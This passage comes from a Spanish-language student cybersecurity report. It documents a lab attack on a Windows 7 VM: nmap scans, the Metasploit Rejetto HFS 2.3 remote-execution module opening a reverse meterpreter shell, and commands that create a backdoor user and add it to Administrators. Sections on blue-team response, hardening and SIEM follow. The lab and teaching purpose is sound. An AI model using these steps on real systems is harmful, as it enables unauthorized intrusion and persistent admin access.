de seguridad, esta herramienta utiliza paquetes IP para determinar que equipos se
encuentran disponibles en una red. Gracias a esta herramienta se puede determinar
los servicios como son nombre y version de la aplicacion, sistemas operativos, tipos
de cortafuegos que se estan ejecutando.

La base de Nmap es el analisis de puertos, pero también cuenta con otras
capacidades como:

e Mapeo de red

e Deteccion de SO
e Descubrimiento de servicios
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¢ Auditorias de seguridad

llustracion 15 Nmap

Fuente: https://paraisolinux.com/que-es-y-como-usar-nmap/

Metasploit — FASE DE Acceso al sistema

Es una herramienta desarrollada en Perl y Ruby, esta enfocada en auditorias de
seguridad, esta herramienta tiene muchos exploits, los cuales se aprovechan de
vulnerabilidades conocidas, con unos moédulos conocidos como payloads donde
esta el codigo que explota vulnerabilidades. También dispone de otros moédulos
conocidos como encoders el cual contiene codigo para evadir un antivirus o
sistemas de seguridad. Adicionalmente permite interactuar con otras herramientas
externas como son Nmap.

llustracion 16 Metasploit

@metasploit

Fuente: https://jesusfernandeztoledo.com/instalacion-de-metasploit-en-kali-linux/
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2.3.2 Listey describa los datos e informaciéon del anexo 4 — escenario 3 que
le fueron de ayuda para identificar el fallo de seguridad especifico el
cual ataca a la maquina windows 7 X64.

En el anexo 4 se explica de forma detallada los sucesos acontecidos en la
organizacion, los cuales fueron clasificados de la siguiente forma:

e Sistema operativo Windows 7 x 64

e Aplicacion rejetto v 2.3

e Fuga de informacion

e Shell reversa y sesion abierta de meterpreter
e Escalamiento de privilegios

2.3.3 ¢Qué herramienta utilizé para poder identificar los fallos de seguridad
de la “maquina Windows 7”? ; Qué puerto abre la aplicacion especifica
en el anexo?

Para identificar los fallos de seguridad de la maquina Windows, se utilizo el sistema
operativo Kali Linux, dentro de alli se utilizd la aplicacion Nmap el cual permite
explorar la red y detectar los servicios activos que tiene la aplicacion en este caso
en especifico se utilizé el siguiente comando:

Nmap -sV 192.168.1.0/24 el cual nos permite saber los servicios y versiones que
estan en la red, segun los resultados se puede apreciar que la aplicacion abre el
puerto 80 y que la version de esta es la 2.3

llustracion 17 Puertos Abiertos

‘ Nmap scan report for 192.168.1.144

- = 4 e o G
HosT—is—up—(8-00872c—latency )"

Not shown: 999 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http HttpFileServer httpd 2.3

MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.128
Host is up (0.0000060s latency).
All 1000 scanned ports on 192.168.1.128 are closed

Service detection performed. Please report any incorrect results at https://n

map.org/submit/ .
Nmap done: 256 IP addresses (6 hosts up) scanned in 235.74 seconds

.} ~

Fuente: Propia
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Conociendo esta informacion se ejecuta el siguiente comando para detectar las
vulnerabilidades de la aplicacion: nmap —script vulners -sV 192.168.1.144

llustracion 18 Vulnerabilidades nmap

reot@miguel: ~

Archivo Acciones Editar Vista Ayuda

ulners.com/packetstorm/PACKE
/vulners.com/p:
ulners.com/pac
lners. com,

/vulners.com/packetst

rs.com/

Fuente: Propia

Como se aprecia en la ilustracion nmap por medio del script conecta con una Api de
la pagina www.vulners.com la cual es una pagina que recolecta informacion de
vulnerabilidades.

2.3.4 Explique con sus palabras y de manera especificacomo afecta el ataque
a la maquina (Windows 7 X64), haga uso de gréaficos para explicar el
ataque.

Una Shell reversa se da cuando la maquina host en este caso la victima, se
comunica hacia el atacante por medio del puerto que esta abierto, en este caso el
puerto 80 que esta utilizando la aplicacion rejetto V 2.3, al obtener esta
comunicacién permite a la maquina atacante acceder a la maquina victima con una
Shell y ejecutar cualquier tipo de comando, en el caso de la empresa se ve que por
medio de la creacion de un usuario con privilegios se extrajo la informacion del
equipo, sin embargo al tener acceso a la maquina esta es vulnerable a cualquier
tipo de ataque que se quiera realizar en la maquina.
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llustracion 19 Shell Reversa

El atacante conecta con la victima
por el puerto que esta abierto
<
B B

IP Atacante: 192.168.1.128 IP Victima: 192.168.1.144
Puerto Abierto: 80

Fuente: Propia

2.3.5 Documente cada uno de los pasos que ejecutd y sus respectivas
evidencias para explotar la vulnerabilidad en la maquina Windows 7.
Los pasos para el desarrollo de la actividad son los siguientes:

Visualizacion del aplicativo rejetto instalado en la maquina Windows 7 x 6

llustracion 20 Aplicacion rejetto

i HFS ~ HTTP File Server 2.3 Build 288 o] ]
& Menu | ﬁ? Port: 80 | € You are in Easy mode |
E Open in browser  http://192.168.1 144/ | Copy to clipboard
Virtual File System Log
D/
W8 1P address 1 File Status Speed  Time.. Progress
Out: 00KB/s  In:0.0 KB/s

Fuente: Propia
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2.3.6 FASE DE RECOLECCION DE INFORMACION.

Como su nombre lo indica en esta fase se debe recolectar la informacion del equipo
y por donde se esta vulnerando dicho sistema, al analizar el Anexo 4 se evidencia
gue existe un software instalado en el sistema llamado rejetto V 2.3 el cual tiene
ciertas vulnerabilidades que pueden ser aprovechadas por un atacante, este
software es utilizado para compartir documentos con otros dispositivos. Por lo cual
se procede a documentar por Google las vulnerabilidades que tiene este software.

2.3.7 ANALISIS DE VULNERABILIDADES Y AMENAZAS

En esta fase se realiza en analisis de vulnerabilidades y amenazas del sistema
operativo. Para detectar las vulnerabilidades de la maquina victima utilizamos la
herramienta nmap en primer lugar para descubrir que sistemas y versiones estan
conectados en la red se utiliza el comando nmap -sV 192.168.1.0/24 como se ve en
la imagen.

llustracion 21 Deteccion de los pc en la red local

) =
192.168.1.80/2
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 20:36 CEST
WARNING: Service 192.168.1.1:49152 had already soft-matched upnp, but now sof
t-match sp; ignoring second value
WARNING: Service 192.168.1.1:49152 had already soft-matched upnp, but now sof
t-matched sip; ignoring cond value
Nmap scan report for 192.168.1.1
Host is up (@.016s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
2 filtered ssh
open domain dnsmasqg 2.78
open http?
open ssl/https?
upnp MiniUPnP 1.8 (UPnP 1.1)
recognized despite returning data. If you know the
t the following fingerprints at https://nmap.or

Fuente: Propia
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Nmap scan report for 192.168.1.144

Host is up (0.00077s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http HttpFileServer httpd 2.3

MAC Address: 08:00:27:92:80:C@ (Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.128
Host is up (0.0000060s latency).
All 1000 scanned ports on 192.168.1.128 are closed

Service detection performed. Please report any incorrect results at https://n

map.org/submit/
Nmap done: 256 IP addresses (6 hosts up) scanned in 235.74 seconds

2@

Fuente: Propia

Por medio del comando nmap -A 192.168.1.144 se puede obtener una exploracion
mas a fondo de la victima.

llustracion 22 Exploracion agresiva

root@miguel: ~

Archivo Acciones Editar Vista Ayuda

o~

68.1.

up (
own: 999 fil
STATE SERVICE VERSION
http HttpFileServer httpd 2

rirtual NIC)
e could not find

ra.i

microsoft:windows_

Microsoft Window
oft Windo
indows 7, Microsoft Window

7 SP1, or \
1 hop
Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE

Fuente: Propia
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Escaneo de vulnerabilidades con script, realiza una peticion a un servidor remoto
una APl de www.vulners.com para detectar si existen vulnerabilidades conocidas
para el equipo.

llustracion 23 Escaneo de vulnerabilidades

root@miguel: ~

Archivo Acciones Editar Vista Ayuda

vulners

Host is up (
Not shown: 999 filter
PORT STATE SER\

.com/ / DAY-ID
ulners.com/securit
lners.com/packetstorm/PACKE

lners.

STOR 512 t : lners.
*EXPLOIT*

Fuente: Propia

root@miguel: ~

Archivo Acciones Editar Vista Ayuda

B6@BBFF *EX
itdb/EDB-ID:49

m/exploitdb/EDB-ID

m/exploitdb/EDB-ID

m/exploitdb/EDE-ID

lners.com/zdt

Fuente: Propia
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2.3.8 FASE DE ACCESO AL SISTEMA

Al analizar la informacion obtenida, se establecen que tipos de ataque se ejecutaran
y el objetivo de los mismos. Para esta fase se utiliza la herramienta Metasploit, se
usa el comando search hfs.

llustracion 24 Buscando vulnerabilidades con metasploit

Terminalnro. 1

Archivo Acciones Editar Vista Ayuda

3+ —
3+ —
+ -

Metasploit tip: Use the edit command to open the
currently active module in your editer

msfé > search hfs
Matching Modules
# MName Disclosure Date

Check Description

@ explolit/multi/http/git_client_command_
No Mal ous Git anmd Mercurial HTTP

1 exploit/windows/http/rejetto_hfs exec 20
Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

msfé > [

Fuente: Propia

Segun los exploits detectados por Nmap y Metasploit se ejecuta el comando use
exploit/Windows/http/rejetto_hfs_exec
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llustracion 25 Ejecutando los exploits

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1 exploit/windows/http/rejetto_hfsS_exec 2014-09-11
Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example
msf6 > use EXPLOIT/WINDOWS/HTTP/REJETTO_HFS_EXEC
No payload configured, defaulting to windows/meterpreter/reverse_tcp

Matching Modules

# Name Disclosure Date Rank
k Description

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11
Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

Using exploit/windows/http/rejetto_hfs_exec
msf6 exploit( I

Fuente: Propia

Posterior a ejecutar este comando es necesario configurar el exploit para eso vamos
a utiliza el comando SET que permite establecer las variables, en este caso es
necesario configurar la IP de la maquina que vamos atacar y la IP de la maquina
donde tenemos instalad Kali Linux

Con set RHOST establecemos la IP de la maquina que vamos atacar

Con set SRVHOST establecemos la IP de la maquina con Kali
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llustracion 26 Configuracion exploit

RHOST 192.168.1.144

msf6

=)
T
]

o |

SRVHOST 192.168.1.128

w =

)

o
on T [EOh

=
["z}
—+ =

Fuente: Propia

Luego de tener configurado el exploit se ejecuta el comando exploit para inicial el
programa.

llustracion 27 Ejecutando el exploit
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.128:4444

Using URL: http://192.168.1.128:8080/8BfjrEo7WzXn5

Server started.

Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exe
c.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exe
c.rb:110: warning: URI.escape is obsolete

Payload request received: /8BfjrEo7WzXn5

Sending stage (175174 bytes) to 192.168.1.144

Meterpreter session 1 opened (192.168.1.128:4444 — 192.168.1.144:49436)
at 2021-09-22 21:23:17 +0200
[!] Tried to delete ¥TEMP%\pbQGS.vbs, unknown result

Server stopped.

meterpreter > |j

Fuente: Propia

Para comprobar el acceso a la maquina victima ejecutamos un ipconfig para ver si
desde la maquina atacante podemos ejecutar este comando.
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llustracion 28 ipconfig victima

Terminalnre.1

Archivo Acciones Editar Vista Ayuda

[!] Tried to delete bQGS.vbs, unknown result
Server stopped.

r > ipconfig

Hardware MAC
MTU
IPv4
IPv4
IPvB
IPve

a

=]
Wmow oW on
ol ]

& om

Name
Hardware MAC
MTU

Fuente: Propia

Ahora accederemos al equipo mediante Shell reversa y crearemos el usuario con el
comando net user MiguelLeiva con clave unad2021 /add

llustracion 29 Shell reversa y usuario

1
ated.
Channel ¢ .
Microsoft Windows [Versi®n 6.1.7601]
Copyright (c) 9 Microsoft Corporation. Reservados todos los derechos.

>net user Miguelleiva unad2@2

Fuente: Propia
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Verificamos el usuario creado con net user

llustracion 30 usuario

‘usuarioswAppDataZLocal\Temph7z08965

Administrador Invitado MiguellLeiva
usuario
Se ha completado el comando correctamente.

C:'\Users!

Fuente: Propia

Adicionalmente accedemos al panel de control desde la maquina victima, cuentas
de usuario, administrar cuentas y se evidencia la creacion del usuario MiguelLeiva.

llustracion 31 Comprobacién de usuario

@th!, <« Cuentas de usuario » Administrar cuentas - | +4 | | Buscar en el Panel de control el |

Elegir la cuenta que desee cambiar

MiguellLeiva
Usuario estandar
Protegida por contrasefia

usuario
Administrador

Invitado
La cuenta de invitado esta desactivada

Crear una nueva cuenta

¢Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
®y Cenfigurar Control parental

Ir a la pagina principal de Cuentas de usuaric

Fuente: Propia
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Ahora ejecutamos el comando net localgroup, para ver la carpeta donde trasladar
al usuario creado y darle permiso de administrador en este caso se llama
“‘Administradores”

llustracion 32 net localgroup

>net localgroup

#Administradores
#*Duplicadores
*Homelsers
*TI5_TUSRS
*Invitados
#Lectores del registro de eventos
*Qperadores criptogr€¥ficos
*0peradores de configuraci®n de red
#0peradores de copia de seguridad
*|Jsuarios
#|suarios avanzados
#Jsuarios COM distribuidos

de escritorio remoto
#lsuarios del monitor de sistema
#|Jsuarios del registro de rendimiento
Se ha completado el comando correctamente.

Fuente: Propia

Pasamos el usuario a administradores con el comando net localgroup
Administradores MiguellLeiva /add

llustracion 33 usuario administrador

ershusuarioh\AppDatasLocal\Temp\7z089653 »>net localgroup Administradore
elleiva

Fuente: Propia

Verificamos nuevamente al Usuario MiguelLeiva como Administrador, segun la ruta
anterior por el panel de control.
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llustracion 34 Comprobacion usuario

fo o=

@thﬁ, < Cuentas de usuario » Administrar cuentas - | 4 | | Buscar en el Panel de control = [

Elegir la cuenta que desee cambiar

MiguelLeiva
Administrador
Protegida por contrasefia

usuario
Administrader

Invitado
La cuenta de invitado esta desactivada

Fuente: Propia

2.4 DESARROLLO FASE 4
Situacion problema: Andlisis Blue team

WhiteHouse Security solicita a sus integrantes de Blueteam contener y sacar
adelante un ataque informatico el cual se esta produciendo en tiempo real. La
maquina que se debe analizar es la Windows 7 X64 analizada en la actividad
anterior. La organizacién requiere un analisis exhaustivo de lo que esta sucediendo
a nivel técnico “sistema operativo, red”, con la informacién recolectada se espera
gue dentro de su grado de experticia usted como miembro de un equipo Blue team
logre contener el ataque para evitar que se genere mas dafio a nivel interno de la
organizacion. WhiteHose Security le informa que no existe presupuesto para hacer
uso de herramientas de pago, por ende, el experto en Ciberseguridad debera optar
por una serie de herramientas minimo con licencia GPL.
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2.4.1 ¢Qué serialo primero que indagaria y haria si llegara a encontrarse un
ataque en tiempo real? Especifique su respuesta con argumentos
técnicos.

Para actuar de forma correcta ante un ataque en tiempo real es importante tener en
cuenta los siguientes pasos:

Evaluar el incidente: Cuando se detecta un ataque informatico se recomienda
revisar los sistemas de seguridad con los que cuenta la organizacion como lo son
los logs, IDS, cortafuegos, etc. Posterior a ello se debe identificar que tipo de ataque
esta afectando la organizacién pues no todos los atagues funcionan de la misma
manera y puede variar el método de contencién dependiendo de un ataque a otro.
También es importante detectar que sistemas, equipos e informacién han podido
verse comprometidos con este ataque, con esto se logra identificar los activos
afectados para posteriormente tomar las medidas necesarias.

Luego de esto se debe determinar el origen del ataque, si este fue efectuado por
medio de correo, USB, puertos abiertos, etc. Determinar si este ataque es dirigido
intencionalmente a la organizacion o es un ataque aleatorio, por altimo, pero lo mas
importante sera registrar y documentar toda la informacion obtenida en esta fase
pues esto servird para tomar medidas de prevencion en el futuro y para contener el
ataque de forma adecuada.

Informar el incidente: El trabajo en equipo es parte fundamental de una buena
seguridad, sin embargo, a la hora de manejar este tipo de incidentes las Unicas
personas que deben conocer esta informacién son aquellas que puedan ser de
ayuda a la solucién de este, es de vital importancia evitar fugas de informacién que
afecten a la organizacion ain mas.

Contencién de dafios y minimizar los riesgos: Al detectar un ataque en tiempo
real lo mejor es actuar rapidamente para prevenir que el ataque afecte mas sistemas
y evitar que el ataque se convierta en un problema cada vez mas grande. Por ello
es importante aislar los equipos afectados de la red de la organizacion para evitar
gue se siga expandiendo el ataque, clonar los discos afectados o sustituirlos por
unos discos nuevos, cambiar las credenciales de todos los usuarios pues estan
pueden estar comprometidas en el ataque.

Al tener aislado el equipo este debe ser analizado por un experto en seguridad,

utilizando herramientas forenses que le permitan analizar detalladamente la
informacion del sistema, de los datos afectados y el objetivo del atacante.
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2.4.2 ¢Teniendo en cuentael ataque ejecutado desde el ejercicio de Red team
qué medidas de hardenizacién propondria para que el ataque no se
repita?

El ataque evidenciado en el ejercicio de Red Team corresponde al aprovechamiento
de una aplicacién vulnerable llamada Rejetto 2.3 la cual habilitaba el puerto 80 que
facilitaba al atacante vulnerar el sistema por esta razon dado que la finalidad del
Hardening es endurecer los sistemas para reducir las posibles amenazas se
proponen las siguientes medidas:

e Actualizacidn del sistema operativo, activacion del firewall y definir reglas de
entrada y salida.

e Cierre de puertos innecesarios.

e Endurecimiento de contrasefias para los usuarios.

Evaluar si es necesario el acceso remoto a la maquina de ser necesario

restringir el acceso a un nimero limitado de usuarios.

Configuracion de los protocolos de red.

Configurar un sistema de respaldo de archivos.

Programar copias de seguridad periédicas.

Monitoreo constante de los equipos.

2.4.3 ¢Describa con sus palabras las diferencias entre un equipo Blueteam y
un equipo de respuesta a incidentes informaticos?

Un equipo de respuestas a incidentes informaticos también conocido como CSIRT
por sus siglas en ingles es aquel que recibe, analiza y responde ante incidentes de
seguridad informatica, esta labor se realiza cuando el ataque ya ha sido ejecutado,
por lo que las acciones que realiza este equipo de respuestas es andlisis de
malware, investigacion de como se produjo el ataque, ayudar a recuperar los
sistemas caidos y gestionar las vulnerabilidades detectadas.

Por otra parte el Blue Team analiza cual es la conducta normal de la empresa
verificando que esta misma se cumpla, sin descuidar cualquier comportamiento
inusual en la organizacion, su capacidad de procesamiento les permite abarcar
grandes volimenes de informacion y cubrir en su totalidad todas las areas con
sistemas informaticos de la empresa, también utilizan herramientas tecnolégicas a
las cuales se les asignan una reglas de analisis para detectar cualquier movimiento
inusual estas herramientas son conocidas como sistemas de deteccion de intrusos.

Entendiendo estos conceptos su principal diferencia radica en que el equipo Blue

Team esta en revisidn constante de los sistemas para evitar cualquier tipo de
amenaza que se pueda presentar mientras que el equipo de respuesta de incidentes
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de seguridad actia unicamente cuando el ataque ya ha tenido éxito y el sistema ha
sido vulnerado.

2.4.4 ¢Sidentro de un equipo Blueteam le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

CIS es una organizacion que desarrolla diversas politicas y controles relacionados
con un conjunto de buenas practicas en seguridad informética, prueba de ello es
gue sus CIS Controls y sus CIS Benchmarks son consideradas como el estandar
mundial y las mejores practicas para proteger un sistema en ciberseguridad. Esta
organizacion también actia como el centro de analisis e informacion lo que lo
convierte en el recurso de referencia para la prevencion, proteccion y respuesta
frente a amenazas en ciberseguridad de los Estados Unidos.

Todos los controles y mejores practicas que considera CIS son un factor
complementario al trabajo de un equipo Blue Team, por tal motivo utilizar estas
normas y la informacion que posee CIS acerca de las amenazas y ataques en
ciberseguridad permiten tener un sistema mas seguro, blindado con las ultimas
actualizaciones en tendencias de ciberseguridad.

2.4.5 Expliquey redacte las funciones y caracteristicas principales de lo que
es un SIEM.

SIEM es un software disefiado para la gestion de eventos e informacion de
seguridad. Su finalidad es dar informacion atil a las organizaciones acerca de
potenciales amenazas de seguridad que puedan afectar a la linea de negocio de la
organizacion, esto se realiza mediante un analisis de datos de seguridad los cuales
se obtienen de diversos sistemas como son antivirus, firewalls, sistemas de
deteccion de intrusos, entre otros.

SIEM abarca tres capacidades detecciones de amenazas, investigacion y tiempo de
respuesta, por lo que las funciones principales de este son:

Monitorizacién de seguridad.

Deteccion de amenazas.

Centralizar la vista de amenazas

Andlisis forense y respuesta a los incidentes.

Recopilar los logs

Alertas y notificaciones

Documentacion de todos los eventos detectados y sus tratamientos.

En la actualidad las empresas que desarrollan este tipo de software y que cuentan
con una gran acogida por las organizaciones son:
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e IBM Qradar

e Arc Sight

e Alien Vault

e Symantec

e McAfee SIEM
e Fortisiem

2.4.6 Defina por lo menos 3 herramientas de contencion de ataques
informaticos “hardware o software”, recuerde que las herramientas de
contencidn son diferentes a las herramientas de deteccion.

Cisco FireSIGHT

Este es un software que analiza la actividad en la red dentro de la organizacion en
busca de codigo malicioso o que esté prohibido segun las politicas de seguridad de
la empresa, también monitorea las conexiones de los usuarios para prevenir que
estos accedan a dominios sospechosos. Cuando se es detectada una actividad
inusual por parte del programa este avisa al motor de servicios de identidad, el cual
alerta a las herramientas de seguridad de la red donde entra en juego cisco
TrustSec que aisla los dispositivos afectados.

OpenNac

Es un software que permite efectuar escaneos de red, en busca de comportamiento
a normal y en caso de detectar algo inusual aislar el dispositivo afectado y responde
ante los incidentes que se puedan presentar por la vulneracion. Esta herramienta
también automatiza las auditorias de seguridad, segmenta la red corporativa
automaticamente determinando el tramo de red al que sera asignado cada
dispositivo.

Cynet
Esta es una herramienta que permite a las organizaciones contar con un nivel de
seguridad en sus redes a través de la configuracion de la misma, esta herramienta

ejecuta analisis en busca de software malicioso y cuenta con la capacidad de aislar
los dispositivos afectados en caso de detectar algo inusual.
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3 CONCLUSIONES

Colombia cuenta con diferentes leyes y normativas que ayudan a regular los
delitos informaticos en el pais, sin embargo, es importante seguir adaptando
estas leyes para endurecer las penas ante delitos informaticos.

La ciberseguridad en un factor importante en cada organizacion, tener la
capacidad de diferenciar los problemas éticos que se evidencian en el
entorno laboral le permite al especialista actuar de forma correcta ante
cualquier situacion.

La ejecucién de pruebas de penetracién por parte del equipo Red Team
permite a la organizacibn conocer como actud el ciberdelincuente que
vulnero la empresa.

El equipo Blue Team esta encargado de disefar, analizar y explorar los
sistemas previendo cualquier tipo de anomalia que este relacionada con una
falla de seguridad.

Existen diferentes herramientas de seguridad que permiten a los equipos
Red Team y Blue Team ejecutar sus respectivos analisis adecuadamente.
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4 RECOMENDACIONES

La ciberseguridad es un campo que mantiene en cambio constante, pues con el
pasar de los afios la forma en que los ciberdelincuentes actuaban ha ido
evolucionando, es por ello que los especialistas en seguridad informatica deben
estar al tanto de las nuevas amenazas y tendencias tecnoldgicas que van surgiendo,
asi mismo tener conocimientos de las leyes que existen en el pais donde laboran
relacionadas con el cibercrimen y la ciberseguridad.

Sin duda alguna contar con los equipos Blue Team y Red Team facilitan a una
organizacion estructurar una seguridad mas robusta, pues al independizar su
esquema de seguridad del departamento de sistemas, le permite tener un mejor
control en cuanto seguridad informatica, estos dos equipos como se menciona
anteriormente son un complemento mutuo pues el Blue Team se encarga de
establecer la seguridad de la organizacion, por medio de andlisis, monitoreo,
herramientas, creacion de reglas, entre otras y cuando este considera que su
esquema de seguridad es solido entra en juego el equipo Red Team que pone a
prueba dicha seguridad.
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6 ANEXOS

Link de la Presentacion: https://youtu.be/uCvmBP2JI9I
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